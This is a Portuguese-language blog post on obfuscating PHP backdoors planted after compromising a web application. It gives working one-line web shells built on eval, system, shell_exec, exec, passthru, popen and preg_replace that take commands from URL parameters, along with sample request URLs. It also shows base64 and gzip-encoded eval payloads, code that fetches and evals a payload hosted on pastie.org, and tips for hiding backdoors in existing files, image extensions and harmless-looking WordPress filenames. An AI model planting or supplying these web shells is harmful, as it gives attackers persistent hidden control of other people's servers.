Técnicas de ofuscação em PHP para intrusão

Imagem

Nesse post vamos olhar alguns métodos usados para mascarar no código da aplicação um código malicioso, muito utilizado para deixar um backdoor na pos invasão para realizar novos ataques em um futuro, ou caso queira umashell reversa( vídeo simples q fiz 0/ ) na aplicação.

Vemos muitas das vezes shell como c99,R57 e etc [1] ou podemos utilizar ferramentas para gerar/encodar nosso payload como msf,msfvenom e dentre outras só que muitas dessas técnicas utilizadas não passam nos IDSs/IPSs devido a suas assinaturas com isso a um bloqueio por parte da aplicação, a precisamos conhecer um pouco dessas técnicas.

1. usando eval()
O eval()[2] executa um código passado como um argumento o tipo string:

eval.php

CÓDIGO: SELECIONAR TODOS
<? php @eval($_REQUEST['command']);?>
<? php @eval($_GET[_]);?>

Navegador

CÓDIGO: SELECIONAR TODOS
http://www.site.com/imagem/eval.php?_=system('ls -a')
http://www.site.com/imagem/eval.php?=command=ls -a

Caractere ‘@’ na função significa que a saída padrão não é passados quaisquer erros no interpretador PHP, com isso protege o backdoor evita a detecção.Podemos decodificar o código em PHP para isso visite o site mobilefish[3]

eval.php

CÓDIGO: SELECIONAR TODOS
<?php eval(base64_decode('PD9AZXZhbCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Pz4=')); ?>

A única limitação é que o tamanho máximo do payload maliciosa que podemos enviar não pode conter de 2kB a 8kB aproximadamente dependendo das configurações do servidor caso ultrapasse esse limite recebera essa mensagem “HTTP 414 Request-URI too long” veja o link[4]

1.1 Comprimindo
Podemos combinar com outras técnicas isso ira adicionar uma camada de compressão (Base64 codificação ficam em 3 bytes de entrada e 4 bytes de saída) essa é uma técnica interessante caso receba um erro HTTP 414 como mencionado acima, veja abaixo:

CÓDIGO: SELECIONAR TODOS

<?php
eval(gzuncompress(base64_decode('eJyzsVcoyChQcEgtS8zRUIkPcg0MdQ0OiVZPzs/NTcxLUY/VtLa3AwDbCwuG')));
?>

Tem outras maneiras de usar o eval() , mas muitos administradores já estão ligados nessas técnicas, vamos olhar outras maneiras.

2. usando assert ()
A função assert() funcionada da mesma forma que o eval() , você passa uma string e é avalia-o como código PHP para afirmar que uma condição é sempre verdadeira , quando usado em código ofuscado é praticamente uma substituição para eval().

CÓDIGO: SELECIONAR TODOS
$code = 'print("ops");';
assert($code);

3. usando create_function ()
O create_function permite definir dinamicamente uma nova função e retorna um nome único para ela (a nova função, que é).

CÓDIGO: SELECIONAR TODOS
$x = create_function('$a', 'print("$a");');
$x('ola');

Essa técnica abaixo é muito utilizado em vBulletin

CÓDIGO: SELECIONAR TODOS
$code='print("ola");';
echo "aa {${ eval($code) }} aa";

4. usando include()
Você também pode simplesmente usar a função include e hospedar seu código malicioso remotamente e assim usar o include ().

CÓDIGO: SELECIONAR TODOS
include('http://pastie.org/pastes/10625835/text?key=cc3225nq8mfjr84sbdvqhg ');

5. Armazenar em outro host
Em vez de armazenar o código malicioso na máquina comprometida muitas vezes esses códigos são armazenados em host de terceiros, isso é útil quando o atacante pode executar código arbitrário, mas não pode escrever qualquer coisa no sistema de arquivos, por padrão você pode usar as funções de arquivo normais para acessar urls HTTP.

CÓDIGO: SELECIONAR TODOS
$code = file_get_contents('http://pastie.org/pastes/10625851/text?key=cbeu1vhp4d3e4kzmocfxmw');
eval($code);

ou

CÓDIGO: SELECIONAR TODOS
$ch = curl_init('http://pastie.org/pastes/10625851/text?key=cbeu1vhp4d3e4kzmocfxmw');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$code = curl_exec($ch);
eval($code);

6. usando o system()
system() : diz ao interpretador PHP para executar o comando
$_GET : é uma matriz variável, o conteúdo dos nomes das variáveis e os valores são enviados pelo método GET do HTTP [5]

system.php

CÓDIGO: SELECIONAR TODOS
<?@system($_GET[_]);?>

Navegador

CÓDIGO: SELECIONAR TODOS
http://www.site.com/imagem/system.php?_=ls -lh

7. usando o shell_exec ()
Executa um comando e retorna a sua saída inteira como uma string.[6]

shell_exe.php

CÓDIGO: SELECIONAR TODOS
<?=@shell_exec($_GET[_])?>

navegador

CÓDIGO: SELECIONAR TODOS
http://www.site.com/imagem/shell_exe.php?_=ls -a

8. usando o shell_exec()
Executa um comando externo[7] caso você não precise da saída use essa função
exec.php

CÓDIGO: SELECIONAR TODOS
<?=@exec($_GET[_])?>

navegador

CÓDIGO: SELECIONAR TODOS
http://www.site.com/imagem/exec.php?_=pwd

9. usando o passthru()
Usado para executar um comando no sistema e retornar algum binário, um exemplo quando eu quero executar um arquivo .exe no windows através de php veja abaixo[8]:

CÓDIGO: SELECIONAR TODOS
<?php
@passthru('C:\Serv\www\app.exe', $retval);
echo $retval;
?>

passthru.php

CÓDIGO: SELECIONAR TODOS
<?@passthru($_GET[_])?>

Navegador

CÓDIGO: SELECIONAR TODOS
http://www.site.com/imagem/passthru.php?_=pwd

10. usando o popen()
Quando você quer executar um script em PHP, veja um exemplo:

CÓDIGO: SELECIONAR TODOS
pclose(popen("php somefile.php &","r"));

popen.php

CÓDIGO: SELECIONAR TODOS
<?=@fread(popen($_GET[s], 'r'),$_GET[_])?>

Navegador

CÓDIGO: SELECIONAR TODOS
http://www.site.com/imagem/passthru.php?s=ls -lh&_=16

11. usando o preg_replace()
É uma função em PHP que executa a substituição de uma sequência de caracteres usando expressões regulares.[9]

preg_replace.php

CÓDIGO: SELECIONAR TODOS
<?=@preg_replace('/.*/e',$_GET[_],null)?>

Navegador

CÓDIGO: SELECIONAR TODOS
http://www.site.com/imagem/preg_replace.php?_=system('ls -a')

E lembrando algumas outras coisas :
Coloque o backdoor em um arquivo já existente
Adicione o código em outra extensão como PNG,JPG
Crie arquivos inofensivos caso seja wordpress a aplicação algo do tipo: wp-cache.old. email.bak. wp-content.old.tmp

Ps.: Lembrando que não sou um programador ninja, no forum tem muita galera que manja, se por ventura estiver errado em alguma das coisas que pesquisei/mencionei abaixo por favor me corrijam para melhorar e caso queira indicar fontes,livros e etc para esse assunto e sempre bem vindo.

Referências

[1] http://r57.gen.tr/index.php
[2] http://www.php.net/manual/pl/function.eval.php
[3] http://www.mobilefish.com/services/php_ … scator.php
[4] http://www.w3.org/Protocols/rfc2616/rfc … sec10.4.15
[5] http://www.111cn.net/w3school/php/php_get.htm
[6] http://us.php.net/shell_exec
[7] http://php.net/manual/en/function.exec.php
[8] http://www.webhostingtalk.com/showthread.php?t=249851
[9] http://blog.w3challs.com/index.php?post … 0-Writeups
Exploitable PHP functions : http://stackoverflow.com/questions/3115 … -functions
PHP Backdoor Obfuscation Techniques: https://vexatioustendencies.com/php-bac … echniques/
How to find a backdoor in a hacked WordPress: http://ottopress.com/2009/hacked-wordpress-backdoors/
Evolution of a PHP backdoor evasion: http://mrbluecoat.blogspot.com.br/2012/ … asion.html
PHP Webshells and obsfucation: http://www.propheciesintothepast.name/2 … sfucation/
W3school – php: http://www.111cn.net/w3school/php/php_get.htm
Backdoors y más backdoors en php: http://www.hackplayers.com/2012/09/back … n-php.html
PHP Backdoors: Hidden With Clever Use of Extract Function : https://blog.sucuri.net/2014/02/php-bac … ction.html

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s